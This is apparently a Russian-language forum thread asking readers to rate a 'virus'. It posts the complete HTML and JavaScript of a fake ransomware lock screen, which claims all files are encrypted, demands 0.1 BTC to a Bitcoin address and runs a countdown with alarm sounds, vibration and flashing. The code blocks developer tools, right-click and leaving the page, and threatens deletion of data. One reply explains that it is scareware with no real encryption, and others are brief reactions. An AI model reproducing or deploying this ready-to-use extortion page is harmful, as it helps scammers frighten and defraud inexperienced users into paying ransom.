Оцените вирус
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<title>L</title>
<style>
*{margin:0;padding:0;overflow:hidden;user-select:none}body{background:#0a0a0a;touch-action:none;position:fixed;width:100%;height:100%;top:0;left:0;font-family:monospace}#o{position:fixed;top:0;left:0;width:100vw;height:100vh;background:radial-gradient(circle at 20%30%,#1a0000 0%,#000 90%);display:flex;flex-direction:column;justify-content:center;align-items:center;z-index:99999;color:#f22;text-align:center;padding:20px;animation:p 2s infinite alternate}@keyframes p{0%{background:#0a0000}100%{background:#1a0000}}.i{font-size:80px;animation:b .8s infinite alternate}@keyframes b{0%{opacity:.4;transform:scale(.9)}100%{opacity:1;transform:scale(1.1)}}h1{font-size:28px;text-shadow:0 0 40px #f008;letter-spacing:3px}.s{color:#f66;font-size:14px;margin:8px 0}.w{background:#0d0d0d;border:2px solid #f30;border-radius:12px;padding:12px;max-width:340px;width:100%}.a{background:#000;color:#fa0;font-size:15px;padding:8px;border-radius:6px;border:1px solid #f80;word-break:break-all}.in{width:100%;max-width:320px;margin:10px 0}.in input{width:100%;padding:12px;border-radius:10px;border:2px solid #333;background:#0d0d0d;color:#fff;font-size:16px;text-align:center;letter-spacing:2px;outline:none}.in input:focus{border-color:#f20}.bt{width:100%;max-width:320px;display:flex;flex-direction:column;gap:4px}.btn{padding:12px;border:none;border-radius:10px;font-size:14px;font-weight:700;text-transform:uppercase;cursor:pointer}.bp{background:#f20;color:#fff}.bc{background:#333;color:#aaa}.st{width:100%;max-width:320px;margin-top:12px;padding:10px;border-radius:8px;font-weight:700;font-size:13px;background:#111;border:1px solid #333;color:#888;text-align:center}.st.g{border-color:#0f4;color:#0f4;background:#010}.st.e{border-color:#f20;color:#f20;background:#100}.ft{color:#444;font-size:10px;margin-top:12px;border-top:1px solid #222;padding-top:10px;max-width:320px;width:100%}.ft span{color:#f44}.fl{position:fixed;top:0;left:0;width:100vw;height:100vh;background:#fff;z-index:99998;pointer-events:none;opacity:0;transition:opacity .05s}
</style>
</head>
<body>
<div id="o"><div class="i">🔒</div><h1>⚠️ LOCKED</h1><div class="s">ВСЕ ФАЙЛЫ ЗАШИФРОВАНЫ</div><div class="w"><div style="color:#f66;font-size:11px;margin-bottom:4px;">💸 0.1 BTC:</div><div class="a">1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</div></div><div class="in"><input type="text" id="c" placeholder="XXXX-XXXX-XXXX-XXXX" maxlength="19"></div><div class="bt"><button class="btn bp" id="p">💳 ОПЛАТИТЬ</button><button class="btn bc" id="k">🔓 ПРОВЕРИТЬ</button></div><div class="st" id="st">⏳ ОЖИДАНИЕ...</div><div class="ft"><span>⚠️</span> ЗАКРЫТИЕ = УДАЛЕНИЕ <span>⚠️</span></div></div><div class="fl" id="fl"></div>
<script>
const K='HYBRID-2024-LOCK';let A=0,t=86400,L=true,x=null,F=null,B=null,V=null;const S=document.getElementById('st'),I=document.getElementById('c'),FL=document.getElementById('fl');
function au(){if(!x){x=new(window.AudioContext||window.webkitAudioContext)();if(x.state==='suspended')x.resume();}return x;}
function be(f=800,d=200,v=.3){try{const c=au(),o=c.createOscillator(),g=c.createGain();o.type='sawtooth';o.frequency.setValueAtTime(f,c.currentTime);o.frequency.exponentialRampToValueAtTime(f*1.5,c.currentTime+d/1000);g.gain.setValueAtTime(v,c.currentTime);g.gain.exponentialRampToValueAtTime(.01,c.currentTime+d/1000);o.connect(g);g.connect(c.destination);o.start(c.currentTime);o.stop(c.currentTime+d/1000);}catch(e){}}
function al(){[400,600,800,1000,1200].forEach((f,i)=>setTimeout(()=>be(f,150,.2),i*120));}
function sc(){try{const c=au(),bs=c.sampleRate*.3,b=c.createBuffer(1,bs,c.sampleRate),d=b.getChannelData(0);for(let i=0;i<bs;i++)d[i]=(Math.random()*2-1)*Math.exp(-i/bs*6);const n=c.createBufferSource();n.buffer=b;const g=c.createGain();g.gain.setValueAtTime(.4,c.currentTime);g.gain.exponentialRampToValueAtTime(.01,c.currentTime+.3);n.connect(g);g.connect(c.destination);n.start(c.currentTime);n.stop(c.currentTime+.3);}catch(e){}}
function vi(){if(navigator.vibrate)navigator.vibrate([200,100,200,100,500,200,800,300]);}
function fs(){if(F)return;F=setInterval(()=>{FL.style.opacity='.95';setTimeout(()=>FL.style.opacity='0',70);setTimeout(()=>FL.style.opacity='.95',140);setTimeout(()=>FL.style.opacity='0',210);},900);}
function fz(){if(F){clearInterval(F);F=null;FL.style.opacity='0';}}
function ut(){if(t<=0){document.querySelector('.s').textContent='💀 ВРЕМЯ ВЫШЛО';document.querySelector('.s').style.color='#f00';return;}const h=String(Math.floor(t/3600)).padStart(2,'0'),m=String(Math.floor((t%3600)/60)).padStart(2,'0'),s=String(t%60).padStart(2,'0');const e=document.querySelector('.s');if(e&&!e.textContent.includes('ВРЕМЯ ВЫШЛО'))e.textContent=`⏳ ${h}:${m}:${s}`;}
function pe(){try{localStorage.setItem('li','1');localStorage.setItem('lt',Date.now());document.cookie='la=1; max-age=86400; path=/';sessionStorage.setItem('ls','1');}catch(e){}}
function ad(){const s=performance.now();const ch=()=>{if(performance.now()-s>1000){document.body.innerHTML='<div style="display:flex;justify-content:center;align-items:center;height:100vh;background:#000;color:#f00;font-size:24px;">⚠️ DEBUG</div>';throw new Error('D');}requestAnimationFrame(ch);};ch();}
function bk(){document.addEventListener('keydown',e=>{if(e.key==='Escape'||e.key==='F12'||(e.ctrlKey&&e.shiftKey&&e.key==='I')||(e.ctrlKey&&e.key==='u')){e.preventDefault();be(200,300,.5);return false;}});document.addEventListener('contextmenu',e=>e.preventDefault());window.addEventListener('beforeunload',e=>{e.preventDefault();e.returnValue='';return '';});}
function st(txt,cls=''){S.textContent=txt;S.className='st '+cls;}
function ul(){L=false;fz();if(B){clearInterval(B);B=null;}if(V){clearInterval(V);V=null;}st('🎉 РАЗБЛОКИРОВАНО!','g');document.querySelector('.i').textContent='🔓';document.querySelector('h1').textContent='✅ РАЗБЛОКИРОВАНО';document.querySelector('.w').style.opacity='.3';document.querySelector('.ft').style.opacity='.3';if(x){try{x.close();}catch(e){}}window.removeEventListener('beforeunload',()=>{});be(1200,300,.5);setTimeout(()=>be(1500,300,.5),200);}
function init(){ad();bk();pe();al();B=setInterval(al,8000);vi();V=setInterval(vi,5000);fs();ut();const ti=setInterval(()=>{if(t>0){t--;ut();}else{clearInterval(ti);st('⏰ ВРЕМЯ ВЫШЛО','e');document.querySelector('.s').textContent='💀 ДАННЫЕ УНИЧТОЖЕНЫ';document.querySelector('.s').style.color='#f00';sc();setTimeout(()=>{if(navigator.vibrate)navigator.vibrate([1000,500,1000]);},300);}},1000);document.getElementById('p').addEventListener('click',()=>{st('🔄 ОЖИДАНИЕ...');setTimeout(()=>{st(`✅ КОД: ${K}`,'g');be(1000,200,.4);},2500);});document.getElementById('k').addEventListener('click',()=>{const v=I.value.trim().toUpperCase();if(v===''){st('❌ ВВЕДИТЕ КОД!','e');be(300,300,.4);return;}if(v===K){ul();}else{A++;st(`❌ НЕВЕРНЫЙ (${A}/5)`,'e');be(200,400,.5);vi();if(A>=5){st('💀 ПРЕВЫШЕНО','e');document.querySelector('.s').textContent='💀 ДАННЫЕ УДАЛЕНЫ';setTimeout(()=>{if(navigator.vibrate)navigator.vibrate([800,300,800,300,1200]);},200);setTimeout(()=>{document.body.innerHTML='<div style="display:flex;justify-content:center;align-items:center;height:100vh;background:#000;color:#f00;font-size:28px;text-align:center;padding:20px;">💀 СИСТЕМА УНИЧТОЖЕНА<br><span style="font-size:16px;color:#666;">Сервисный центр.</span></div>';},1000);}}});I.addEventListener('input',function(e){let v=this.value.replace(/\D/g,'');let f='';for(let i=0;i<v.length&&i<16;i++){if(i>0&&i%4===0)f+='-';f+=v[i];}this.value=f;});I.addEventListener('keypress',e=>{if(e.key==='Enter')document.getElementById('k').click();});window.addEventListener('beforeunload',e=>{e.preventDefault();e.returnValue='';return '';});console.log('🔥 LOCKER');console.log(`🔑 ${K}`);}
if(document.readyState==='loading')document.addEventListener('DOMContentLoaded',init);else init();
</script></body></html>
Это обычный фейк для скама, который просто меняет содержимое страницы через JavaScript. Никакого реального шифрования там нет, это просто визуальная имитация для запугивания неопытных пользователей. Не стоит даже запускать такое у себя, а если случайно открыли, просто закройте вкладку и очистите кэш браузера.
У меня есть другой только его надо запускать не через то приложение которое я запускал там не на хетмаил и устройству гг если старое
Вирус на html - сильно
А что он делает?
вирус на хтмл ?
Это дэмо стенд